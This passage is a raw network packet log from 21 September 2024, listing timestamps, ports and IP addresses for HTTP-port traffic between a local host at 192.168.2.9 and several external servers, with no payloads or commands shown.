Sep 21, 2024 13:33:41.766247034 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.766300917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.766521931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.766535044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.766549110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.766571045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.766586065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.766590118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.766590118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.766597033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.766612053 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.766624928 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.766638041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.766645908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.766645908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.766649961 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.766663074 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.766674042 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.766688108 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.766705036 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.769197941 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769212008 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769222975 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769233942 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769246101 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769273043 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769287109 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769299030 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769310951 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769324064 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769335985 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769347906 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769360065 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769372940 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769385099 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769397020 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769411087 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769412994 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.769423008 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769433975 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.769435883 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769448042 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.769462109 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.769468069 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.769653082 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.770539999 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.770560980 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.770845890 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770860910 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770872116 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770883083 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770893097 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.770895958 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770920038 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770931959 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770944118 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770955086 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.770955086 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.770956039 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770971060 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770979881 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.770984888 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.770998001 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.771012068 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.771018028 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.771027088 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.771033049 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.771040916 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.771053076 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.771056890 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.771070004 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.771083117 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.771090031 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.771095037 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.771106005 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.771115065 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.771122932 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.771142960 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.771162033 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.771234035 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.772130966 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772144079 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772164106 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772173882 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772187948 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772198915 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772200108 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.772206068 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772212982 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772217989 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772222996 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772243977 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772252083 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.772265911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.772265911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.772277117 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.772375107 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.773092031 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773107052 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773119926 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773132086 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773144960 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773153067 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.773158073 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773171902 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773181915 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.773189068 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773200989 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773212910 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773219109 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.773228884 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773240089 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.773243904 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773260117 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773266077 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.773276091 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.773309946 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.773309946 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.773359060 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.779668093 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.780045986 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.780095100 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.780095100 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.787166119 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.787180901 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.787194014 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.787235022 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.787235022 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.797544956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.797609091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.797622919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.797724009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.797741890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.797755003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.797765970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.797774076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.797774076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.797774076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.797779083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.797807932 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.797859907 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798022032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798034906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798046112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798058033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798069000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798074961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798080921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798091888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798099995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798181057 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798181057 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798182011 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798182011 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798182011 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798233986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798247099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798258066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798270941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798307896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798309088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798341036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798718929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798732042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798743963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798754930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798789024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798789024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798835039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798877001 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798877001 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.798959017 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798973083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.798984051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799041033 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799041033 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799073935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799086094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799097061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799108028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799119949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799129963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799139023 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799139023 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799143076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799155951 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799168110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799180031 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799202919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799202919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799406052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799420118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799431086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799443960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799453974 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799462080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799472094 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799485922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799545050 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.799976110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799988031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.799998999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800009966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800021887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800035954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800071955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800071955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800071955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800128937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800141096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800169945 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800203085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800216913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800228119 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800239086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800245047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800245047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800251961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800285101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800285101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800359011 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800544977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800556898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800595999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800607920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800620079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800631046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800643921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800649881 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800656080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800662994 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800662994 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800667048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800678968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800690889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800698042 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800698042 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800703049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800715923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800728083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.800775051 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.800775051 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.801315069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801326990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801337957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801347971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801358938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801364899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801376104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801388025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801398993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801410913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801417112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.801417112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.801423073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801434994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801440954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.801440954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.801445961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801456928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801469088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801476002 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.801476002 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.801482916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.801522970 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.801522970 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.801989079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802000999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802012920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802026987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802040100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802047014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802052021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802059889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802063942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802076101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802082062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802088976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802100897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802114010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802120924 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802120924 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802140951 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802170038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802170038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802179098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802603960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802613974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802624941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802639008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802649975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802656889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802663088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802664042 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802675009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802690029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.802695036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802701950 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802777052 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.802777052 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.819366932 CEST	80	49719	176.111.174.109	192.168.2.9
Sep 21, 2024 13:33:41.819444895 CEST	49719	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:41.819499016 CEST	49719	80	192.168.2.9	176.111.174.109
Sep 21, 2024 13:33:41.826260090 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.826683998 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.826752901 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.826752901 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.828696966 CEST	80	49719	176.111.174.109	192.168.2.9
Sep 21, 2024 13:33:41.850692987 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.850723982 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.850737095 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.850795984 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.850914001 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.852452040 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.852533102 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.852627993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.852639914 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.852684975 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.852684975 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.852726936 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.852741003 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.852761030 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.852792978 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.854096889 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.854114056 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.854125977 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.854170084 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.854197979 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.854197025 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.854249954 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.854265928 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.854279041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.854290962 CEST	80	49708	147.45.44.104	192.168.2.9
